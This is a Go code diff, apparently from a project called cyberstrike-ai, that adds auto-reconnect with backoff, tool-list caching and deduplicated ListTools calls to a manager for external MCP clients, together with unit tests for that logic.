if err == nil {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, io.EOF) {
|
||||
return true
|
||||
}
|
||||
s := strings.ToLower(err.Error())
|
||||
return strings.Contains(s, "eof") ||
|
||||
strings.Contains(s, "client is closing") ||
|
||||
strings.Contains(s, "connection closed") ||
|
||||
strings.Contains(s, "connection reset") ||
|
||||
strings.Contains(s, "broken pipe")
|
||||
}
|
||||
|
||||
// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时,标记客户端并调度重连。
|
||||
func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
|
||||
if !isConnectionDeadError(err) {
|
||||
return
|
||||
}
|
||||
m.logger.Warn("检测到外部MCP连接已断开,将尝试自动重连",
|
||||
zap.String("name", name),
|
||||
zap.Error(err),
|
||||
)
|
||||
m.markClientDisconnected(name, client, err)
|
||||
m.scheduleReconnect(name)
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
|
||||
if lazy, ok := client.(*lazySDKClient); ok {
|
||||
lazy.markDisconnected()
|
||||
}
|
||||
m.mu.Lock()
|
||||
if err != nil {
|
||||
m.errors[name] = "连接已断开: " + err.Error()
|
||||
}
|
||||
m.mu.Unlock()
|
||||
m.toolCountsMu.Lock()
|
||||
m.toolCounts[name] = 0
|
||||
m.toolCountsMu.Unlock()
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) onClientConnected(name string) {
|
||||
m.clearReconnectState(name)
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) clearReconnectState(name string) {
|
||||
m.reconnectMu.Lock()
|
||||
delete(m.reconnectAttempts, name)
|
||||
delete(m.reconnectLastTry, name)
|
||||
delete(m.reconnecting, name)
|
||||
m.reconnectMu.Unlock()
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
|
||||
if attempts <= 0 {
|
||||
return 0
|
||||
}
|
||||
d := externalReconnectMinInterval
|
||||
for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
|
||||
d *= 2
|
||||
}
|
||||
if d > externalReconnectMaxBackoff {
|
||||
return externalReconnectMaxBackoff
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) scheduleReconnect(name string) {
|
||||
m.mu.RLock()
|
||||
cfg, exists := m.configs[name]
|
||||
enabled := exists && m.isEnabled(cfg)
|
||||
m.mu.RUnlock()
|
||||
if !enabled {
|
||||
return
|
||||
}
|
||||
go m.tryReconnect(name)
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) tryReconnect(name string) {
|
||||
m.reconnectMu.Lock()
|
||||
if m.reconnecting[name] {
|
||||
m.reconnectMu.Unlock()
|
||||
return
|
||||
}
|
||||
attempts := m.reconnectAttempts[name]
|
||||
if wait := m.reconnectBackoff(attempts); wait > 0 {
|
||||
if last, ok := m.reconnectLastTry[name]; ok {
|
||||
if elapsed := time.Since(last); elapsed < wait {
|
||||
remaining := wait - elapsed
|
||||
m.reconnectMu.Unlock()
|
||||
m.scheduleReconnectAfter(name, remaining)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
m.reconnecting[name] = true
|
||||
m.reconnectMu.Unlock()
|
||||
|
||||
defer func() {
|
||||
m.reconnectMu.Lock()
|
||||
delete(m.reconnecting, name)
|
||||
m.reconnectMu.Unlock()
|
||||
}()
|
||||
|
||||
m.mu.RLock()
|
||||
cfg, exists := m.configs[name]
|
||||
enabled := exists && m.isEnabled(cfg)
|
||||
client, hasClient := m.clients[name]
|
||||
connecting := hasClient && client.GetStatus() == "connecting"
|
||||
m.mu.RUnlock()
|
||||
|
||||
if !enabled {
|
||||
m.logger.Debug("跳过自动重连(外部MCP已停用)", zap.String("name", name))
|
||||
return
|
||||
}
|
||||
if connecting {
|
||||
m.logger.Debug("跳过自动重连(连接正在进行中)", zap.String("name", name))
|
||||
return
|
||||
}
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
m.reconnectLastTry[name] = time.Now()
|
||||
m.reconnectAttempts[name] = attempts + 1
|
||||
attemptNum := m.reconnectAttempts[name]
|
||||
m.reconnectMu.Unlock()
|
||||
|
||||
m.logger.Info("正在自动重连外部MCP",
|
||||
zap.String("name", name),
|
||||
zap.Int("attempt", attemptNum),
|
||||
)
|
||||
|
||||
if err := m.startClient(name, true); err != nil {
|
||||
m.logger.Warn("自动重连外部MCP失败",
|
||||
zap.String("name", name),
|
||||
zap.Error(err),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// scheduleReconnectAfterFailure 在自动重连失败后,按当前退避间隔预约下一次重试。
|
||||
func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
|
||||
m.mu.RLock()
|
||||
cfg, exists := m.configs[name]
|
||||
enabled := exists && m.isEnabled(cfg)
|
||||
m.mu.RUnlock()
|
||||
if !enabled {
|
||||
return
|
||||
}
|
||||
m.reconnectMu.Lock()
|
||||
wait := m.reconnectBackoff(m.reconnectAttempts[name])
|
||||
m.reconnectMu.Unlock()
|
||||
m.logger.Info("自动重连失败,将按退避间隔再次尝试",
|
||||
zap.String("name", name),
|
||||
zap.Duration("after", wait),
|
||||
)
|
||||
m.scheduleReconnectAfter(name, wait)
|
||||
}
|
||||
|
||||
// scheduleReconnectAfter 在 delay 后触发 tryReconnect(delay<=0 时立即执行)。
|
||||
func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
|
||||
if delay <= 0 {
|
||||
go m.tryReconnect(name)
|
||||
return
|
||||
}
|
||||
time.AfterFunc(delay, func() {
|
||||
m.tryReconnect(name)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func TestIsConnectionDeadError(t *testing.T) {
|
||||
t.Parallel()
|
||||
cases := []struct {
|
||||
name string
|
||||
err error
|
||||
want bool
|
||||
}{
|
||||
{"nil", nil, false},
|
||||
{"eof", io.EOF, true},
|
||||
{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
|
||||
{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
|
||||
{"connection reset", errors.New("read tcp: connection reset by peer"), true},
|
||||
{"canceled", context.Canceled, false},
|
||||
{"deadline", context.DeadlineExceeded, false},
|
||||
{"other", errors.New("invalid params"), false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
tc := tc
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
if got := isConnectionDeadError(tc.err); got != tc.want {
|
||||
t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLazySDKClient_MarkDisconnected(t *testing.T) {
|
||||
c := &lazySDKClient{status: "connected"}
|
||||
c.inner = &sdkClient{status: "connected"}
|
||||
c.markDisconnected()
|
||||
if c.IsConnected() {
|
||||
t.Fatal("expected disconnected after markDisconnected")
|
||||
}
|
||||
if c.GetStatus() != "disconnected" {
|
||||
t.Fatalf("expected status disconnected, got %s", c.GetStatus())
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
|
||||
name := "dead-mcp"
|
||||
cfg := config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://example.com/mcp",
|
||||
ExternalMCPEnable: true,
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.configs[name] = cfg
|
||||
client := newLazySDKClient(cfg, logger)
|
||||
client.inner = &sdkClient{status: "connected"}
|
||||
client.status = "connected"
|
||||
m.clients[name] = client
|
||||
m.mu.Unlock()
|
||||
|
||||
deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
|
||||
m.handleConnectionDead(name, client, deadErr)
|
||||
|
||||
if client.IsConnected() {
|
||||
t.Fatal("expected disconnected after handleConnectionDead")
|
||||
}
|
||||
if m.GetError(name) == "" {
|
||||
t.Fatal("expected error message to be recorded")
|
||||
}
|
||||
counts := m.GetToolCounts()
|
||||
if counts[name] != 0 {
|
||||
t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
|
||||
}
|
||||
}
|
||||
|
||||
func TestReconnectBackoff(t *testing.T) {
|
||||
t.Parallel()
|
||||
if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
|
||||
t.Fatalf("attempt 0: got %v", d)
|
||||
}
|
||||
if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
|
||||
t.Fatalf("attempt 1: got %v", d)
|
||||
}
|
||||
if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
|
||||
t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryReconnect_RateLimited(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
|
||||
name := "rate-limited"
|
||||
m.reconnectMu.Lock()
|
||||
m.reconnectLastTry[name] = time.Now()
|
||||
m.reconnectAttempts[name] = 2
|
||||
m.reconnectMu.Unlock()
|
||||
|
||||
m.tryReconnect(name)
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
attempts := m.reconnectAttempts[name]
|
||||
m.reconnectMu.Unlock()
|
||||
if attempts != 2 {
|
||||
t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
|
||||
name := "disabled-mcp"
|
||||
m.mu.Lock()
|
||||
m.configs[name] = config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://example.com/mcp",
|
||||
ExternalMCPEnable: false,
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
m.tryReconnect(name)
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
attempts := m.reconnectAttempts[name]
|
||||
m.reconnectMu.Unlock()
|
||||
if attempts != 0 {
|
||||
t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
|
||||
name := "connecting-mcp"
|
||||
cfg := config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://example.com/mcp",
|
||||
ExternalMCPEnable: true,
|
||||
}
|
||||
client := newLazySDKClient(cfg, logger)
|
||||
client.setStatus("connecting")
|
||||
|
||||
m.mu.Lock()
|
||||
m.configs[name] = cfg
|
||||
m.clients[name] = client
|
||||
m.mu.Unlock()
|
||||
|
||||
m.tryReconnect(name)
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
attempts := m.reconnectAttempts[name]
|
||||
m.reconnectMu.Unlock()
|
||||
if attempts != 0 {
|
||||
t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
m.stopRefresh = make(chan struct{})
|
||||
|
||||
name := "stopped"
|
||||
m.mu.Lock()
|
||||
m.configs[name] = config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://example.com/mcp",
|
||||
ExternalMCPEnable: false,
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if err := m.startClient(name, true); err != nil {
|
||||
t.Fatalf("startClient: %v", err)
|
||||
}
|
||||
|
||||
m.mu.RLock()
|
||||
cfg := m.configs[name]
|
||||
_, hasClient := m.clients[name]
|
||||
m.mu.RUnlock()
|
||||
if cfg.ExternalMCPEnable {
|
||||
t.Fatal("auto reconnect should not enable stopped MCP")
|
||||
}
|
||||
if hasClient {
|
||||
t.Fatal("auto reconnect should not create client when disabled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
|
||||
m := &ExternalMCPManager{
|
||||
reconnectAttempts: map[string]int{"x": 3},
|
||||
reconnectLastTry: map[string]time.Time{"x": time.Now()},
|
||||
reconnecting: map[string]bool{"x": true},
|
||||
}
|
||||
m.onClientConnected("x")
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
defer m.reconnectMu.Unlock()
|
||||
if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
|
||||
t.Fatal("expected reconnect state cleared")
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,26 @@ import (
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期,避免每次 API 请求都打远程 ListTools。
|
||||
externalToolListCacheTTL = 60 * time.Second
|
||||
// externalToolCountRefreshInterval 后台刷新工具数量的间隔(仅刷新缓存过期或缺失的客户端)。
|
||||
externalToolCountRefreshInterval = 60 * time.Second
|
||||
)
|
||||
|
||||
// toolListCacheEntry 外部 MCP 工具列表缓存条目
|
||||
type toolListCacheEntry struct {
|
||||
tools []Tool
|
||||
updatedAt time.Time
|
||||
}
|
||||
|
||||
// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
|
||||
type listToolsInflight struct {
|
||||
done chan struct{}
|
||||
tools []Tool
|
||||
err error
|
||||
}
|
||||
|
||||
// ExternalMCPManager 外部MCP管理器
|
||||
type ExternalMCPManager struct {
|
||||
clients map[string]ExternalMCPClient
|
||||
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
|
||||
errors map[string]string // 错误信息
|
||||
toolCounts map[string]int // 工具数量缓存
|
||||
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
||||
toolCache map[string][]Tool // 工具列表缓存:MCP名称 -> 工具列表
|
||||
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
|
||||
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
||||
listToolsMu sync.Mutex
|
||||
listToolsInflight map[string]*listToolsInflight
|
||||
stopRefresh chan struct{} // 停止后台刷新的信号
|
||||
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
||||
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
||||
mu sync.RWMutex
|
||||
runningCancels map[string]context.CancelFunc
|
||||
abortUserNotes map[string]string
|
||||
runningCancels map[string]context.CancelFunc
|
||||
abortUserNotes map[string]string
|
||||
reconnectMu sync.Mutex
|
||||
reconnecting map[string]bool
|
||||
reconnectLastTry map[string]time.Time
|
||||
reconnectAttempts map[string]int
|
||||
}
|
||||
|
||||
// NewExternalMCPManager 创建外部MCP管理器
|
||||
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
|
||||
executions: make(map[string]*ToolExecution),
|
||||
stats: make(map[string]*ToolStats),
|
||||
errors: make(map[string]string),
|
||||
toolCounts: make(map[string]int),
|
||||
toolCache: make(map[string][]Tool),
|
||||
stopRefresh: make(chan struct{}),
|
||||
runningCancels: make(map[string]context.CancelFunc),
|
||||
abortUserNotes: make(map[string]string),
|
||||
toolCounts: make(map[string]int),
|
||||
toolCache: make(map[string]toolListCacheEntry),
|
||||
listToolsInflight: make(map[string]*listToolsInflight),
|
||||
stopRefresh: make(chan struct{}),
|
||||
runningCancels: make(map[string]context.CancelFunc),
|
||||
abortUserNotes: make(map[string]string),
|
||||
reconnecting: make(map[string]bool),
|
||||
reconnectLastTry: make(map[string]time.Time),
|
||||
reconnectAttempts: make(map[string]int),
|
||||
}
|
||||
// 启动后台刷新工具数量的goroutine
|
||||
manager.startToolCountRefresh()
|
||||
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
|
||||
}
|
||||
|
||||
delete(m.configs, name)
|
||||
m.clearReconnectState(name)
|
||||
|
||||
// 清理工具数量缓存
|
||||
m.toolCountsMu.Lock()
|
||||
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// StartClient 启动客户端
|
||||
// StartClient 启动客户端(用户手动启动;连接失败不自动重试)
|
||||
func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
return m.startClient(name, false)
|
||||
}
|
||||
|
||||
// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈:尊重停用状态,失败后按退避继续重试。
|
||||
func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
|
||||
m.mu.Lock()
|
||||
serverCfg, exists := m.configs[name]
|
||||
m.mu.Unlock()
|
||||
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
return fmt.Errorf("配置不存在: %s", name)
|
||||
}
|
||||
|
||||
if autoReconnect && !m.isEnabled(serverCfg) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否已经有连接的客户端
|
||||
m.mu.RLock()
|
||||
existingClient, hasClient := m.clients[name]
|
||||
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
// 检查客户端是否已连接
|
||||
if existingClient.IsConnected() {
|
||||
// 客户端已连接,直接返回成功(目标状态已达成)
|
||||
// 更新配置为启用(确保配置一致)
|
||||
m.mu.Lock()
|
||||
serverCfg.ExternalMCPEnable = true
|
||||
m.configs[name] = serverCfg
|
||||
m.mu.Unlock()
|
||||
if !autoReconnect {
|
||||
m.mu.Lock()
|
||||
serverCfg.ExternalMCPEnable = true
|
||||
m.configs[name] = serverCfg
|
||||
m.mu.Unlock()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
// 如果有客户端但未连接,先关闭
|
||||
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
if autoReconnect {
|
||||
m.mu.RLock()
|
||||
serverCfg, exists = m.configs[name]
|
||||
enabled := exists && m.isEnabled(serverCfg)
|
||||
m.mu.RUnlock()
|
||||
if !enabled {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// 更新配置为启用
|
||||
m.mu.Lock()
|
||||
serverCfg.ExternalMCPEnable = true
|
||||
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
m.mu.Unlock()
|
||||
|
||||
// 在后台异步进行实际连接
|
||||
go func() {
|
||||
go func(reconnect bool) {
|
||||
if err := m.doConnect(name, serverCfg, client); err != nil {
|
||||
m.logger.Error("连接外部MCP客户端失败",
|
||||
zap.String("name", name),
|
||||
zap.Bool("auto_reconnect", reconnect),
|
||||
zap.Error(err),
|
||||
)
|
||||
// 连接失败,设置状态为error并保存错误信息
|
||||
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
m.mu.Unlock()
|
||||
// 触发工具数量刷新(连接失败,工具数量应为0)
|
||||
m.triggerToolCountRefresh()
|
||||
if reconnect {
|
||||
m.scheduleReconnectAfterFailure(name)
|
||||
}
|
||||
} else {
|
||||
// 连接成功,清除错误信息
|
||||
m.mu.Lock()
|
||||
delete(m.errors, name)
|
||||
m.mu.Unlock()
|
||||
// 立即刷新工具数量和工具列表缓存
|
||||
m.triggerToolCountRefresh()
|
||||
m.refreshToolCache(name, client)
|
||||
// 2 秒后再刷新一次,覆盖 SSE/Streamable 等需稍等就绪的远端
|
||||
go func() {
|
||||
time.Sleep(2 * time.Second)
|
||||
m.triggerToolCountRefresh()
|
||||
m.refreshToolCache(name, client)
|
||||
}()
|
||||
m.onClientConnected(name)
|
||||
// 异步拉取工具列表(singleflight 去重,结果同时写入 toolCache 与 toolCounts)
|
||||
go m.refreshToolCache(name, client)
|
||||
}
|
||||
}()
|
||||
}(autoReconnect)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
|
||||
m.toolCounts[name] = 0
|
||||
m.toolCountsMu.Unlock()
|
||||
|
||||
m.toolCacheMu.Lock()
|
||||
delete(m.toolCache, name)
|
||||
m.toolCacheMu.Unlock()
|
||||
|
||||
// 更新配置为禁用
|
||||
serverCfg.ExternalMCPEnable = false
|
||||
m.configs[name] = serverCfg
|
||||
|
||||
m.clearReconnectState(name)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
|
||||
return nil, fmt.Errorf("外部MCP连接失败: %s", name)
|
||||
}
|
||||
|
||||
// 已连接:尝试获取最新工具列表
|
||||
// 已连接:缓存优先,仅在缺失或过期时打远程 ListTools
|
||||
if client.IsConnected() {
|
||||
tools, err := client.ListTools(ctx)
|
||||
if tools, ok := m.getFreshCachedTools(name); ok {
|
||||
return tools, nil
|
||||
}
|
||||
if tools, ok := m.getAnyCachedTools(name); ok {
|
||||
m.triggerToolListRefresh(name, client)
|
||||
return tools, nil
|
||||
}
|
||||
tools, err := m.listToolsDeduped(ctx, name, client)
|
||||
if err != nil {
|
||||
// 获取失败,尝试使用缓存
|
||||
return m.getCachedTools(name, "连接正常但获取失败", err)
|
||||
}
|
||||
|
||||
// 获取成功,更新缓存
|
||||
m.updateToolCache(name, tools)
|
||||
return tools, nil
|
||||
}
|
||||
|
||||
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
|
||||
return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
|
||||
}
|
||||
|
||||
// getCachedTools 获取缓存的工具列表
|
||||
// getCachedTools 获取缓存的工具列表(含空列表缓存)
|
||||
func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
|
||||
m.toolCacheMu.RLock()
|
||||
cachedTools, hasCache := m.toolCache[name]
|
||||
m.toolCacheMu.RUnlock()
|
||||
|
||||
if hasCache && len(cachedTools) > 0 {
|
||||
if tools, ok := m.getAnyCachedTools(name); ok {
|
||||
m.logger.Debug("使用缓存的工具列表",
|
||||
zap.String("name", name),
|
||||
zap.String("reason", reason),
|
||||
zap.Int("count", len(cachedTools)),
|
||||
zap.Int("count", len(tools)),
|
||||
zap.Error(originalErr),
|
||||
)
|
||||
return cachedTools, nil
|
||||
return tools, nil
|
||||
}
|
||||
|
||||
// 无缓存,返回错误
|
||||
if originalErr != nil {
|
||||
return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
|
||||
}
|
||||
return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
|
||||
}
|
||||
|
||||
// updateToolCache 更新工具列表缓存
|
||||
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
||||
func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
|
||||
return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
|
||||
}
|
||||
|
||||
func cloneTools(tools []Tool) []Tool {
|
||||
if len(tools) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]Tool, len(tools))
|
||||
copy(out, tools)
|
||||
return out
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
|
||||
m.toolCacheMu.RLock()
|
||||
entry, ok := m.toolCache[name]
|
||||
m.toolCacheMu.RUnlock()
|
||||
if !ok || !m.isToolCacheFresh(entry.updatedAt) {
|
||||
return nil, false
|
||||
}
|
||||
return cloneTools(entry.tools), true
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
|
||||
m.toolCacheMu.RLock()
|
||||
entry, ok := m.toolCache[name]
|
||||
m.toolCacheMu.RUnlock()
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
return cloneTools(entry.tools), true
|
||||
}
|
||||
|
||||
// listToolsDeduped 对同一 MCP 合并并发 ListTools,并更新 toolCache / toolCounts。
|
||||
func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
|
||||
m.listToolsMu.Lock()
|
||||
if inflight, exists := m.listToolsInflight[name]; exists {
|
||||
m.listToolsMu.Unlock()
|
||||
select {
|
||||
case <-inflight.done:
|
||||
if inflight.err != nil {
|
||||
return nil, inflight.err
|
||||
}
|
||||
return cloneTools(inflight.tools), nil
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
inflight := &listToolsInflight{done: make(chan struct{})}
|
||||
m.listToolsInflight[name] = inflight
|
||||
m.listToolsMu.Unlock()
|
||||
|
||||
inflight.tools, inflight.err = client.ListTools(ctx)
|
||||
if inflight.err == nil {
|
||||
m.updateToolCache(name, inflight.tools)
|
||||
}
|
||||
|
||||
m.listToolsMu.Lock()
|
||||
delete(m.listToolsInflight, name)
|
||||
close(inflight.done)
|
||||
m.listToolsMu.Unlock()
|
||||
|
||||
if inflight.err != nil {
|
||||
m.handleConnectionDead(name, client, inflight.err)
|
||||
return nil, inflight.err
|
||||
}
|
||||
return cloneTools(inflight.tools), nil
|
||||
}
|
||||
|
||||
// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存(手动刷新时使用)
|
||||
func (m *ExternalMCPManager) InvalidateToolCache(name string) {
|
||||
m.toolCacheMu.Lock()
|
||||
m.toolCache[name] = tools
|
||||
delete(m.toolCache, name)
|
||||
m.toolCacheMu.Unlock()
|
||||
}
|
||||
|
||||
// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
|
||||
func (m *ExternalMCPManager) InvalidateAllToolCaches() {
|
||||
m.toolCacheMu.Lock()
|
||||
m.toolCache = make(map[string]toolListCacheEntry)
|
||||
m.toolCacheMu.Unlock()
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
|
||||
go func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
defer cancel()
|
||||
_, _ = m.listToolsDeduped(ctx, name, client)
|
||||
}()
|
||||
}
|
||||
|
||||
// updateToolCache 更新工具列表缓存与工具数量
|
||||
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
||||
stored := cloneTools(tools)
|
||||
m.toolCacheMu.Lock()
|
||||
m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
|
||||
m.toolCacheMu.Unlock()
|
||||
|
||||
// 如果返回空列表,记录警告
|
||||
if len(tools) == 0 {
|
||||
m.toolCountsMu.Lock()
|
||||
m.toolCounts[name] = len(stored)
|
||||
m.toolCountsMu.Unlock()
|
||||
|
||||
if len(stored) == 0 {
|
||||
m.logger.Warn("外部MCP返回空工具列表",
|
||||
zap.String("name", name),
|
||||
zap.String("hint", "服务可能暂时不可用,工具列表为空"),
|
||||
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
||||
} else {
|
||||
m.logger.Debug("工具列表缓存已更新",
|
||||
zap.String("name", name),
|
||||
zap.Int("count", len(tools)),
|
||||
zap.Int("count", len(stored)),
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
|
||||
|
||||
// 调用工具
|
||||
result, err := client.CallTool(execCtx, actualToolName, args)
|
||||
if err != nil {
|
||||
m.handleConnectionDead(mcpName, client, err)
|
||||
}
|
||||
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
||||
|
||||
// 更新执行记录
|
||||
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
|
||||
return
|
||||
}
|
||||
|
||||
// 使用合理的超时时间(15秒),既能应对网络延迟,又不会过长阻塞
|
||||
// 由于这是后台异步刷新,超时不会影响前端响应
|
||||
// 缓存仍新鲜时直接复用,避免与 GetAllTools 重复打远程
|
||||
if _, fresh := m.getFreshCachedTools(n); fresh {
|
||||
m.toolCountsMu.RLock()
|
||||
count := m.toolCounts[n]
|
||||
m.toolCountsMu.RUnlock()
|
||||
resultChan <- countResult{name: n, count: count}
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
tools, err := c.ListTools(ctx)
|
||||
tools, err := m.listToolsDeduped(ctx, n, c)
|
||||
cancel()
|
||||
|
||||
if err != nil {
|
||||
errStr := err.Error()
|
||||
// SSE 连接 EOF:远端可能关闭了流或未按规范在流上推送响应,仅首次用 Warn 提示
|
||||
if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
|
||||
m.logger.Warn("获取外部MCP工具数量失败(SSE 流已关闭或服务端未在流上返回 tools/list 响应)",
|
||||
zap.String("name", n),
|
||||
zap.String("hint", "若为 SSE 连接,请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
|
||||
zap.Error(err),
|
||||
)
|
||||
} else {
|
||||
if !isConnectionDeadError(err) {
|
||||
m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list",
|
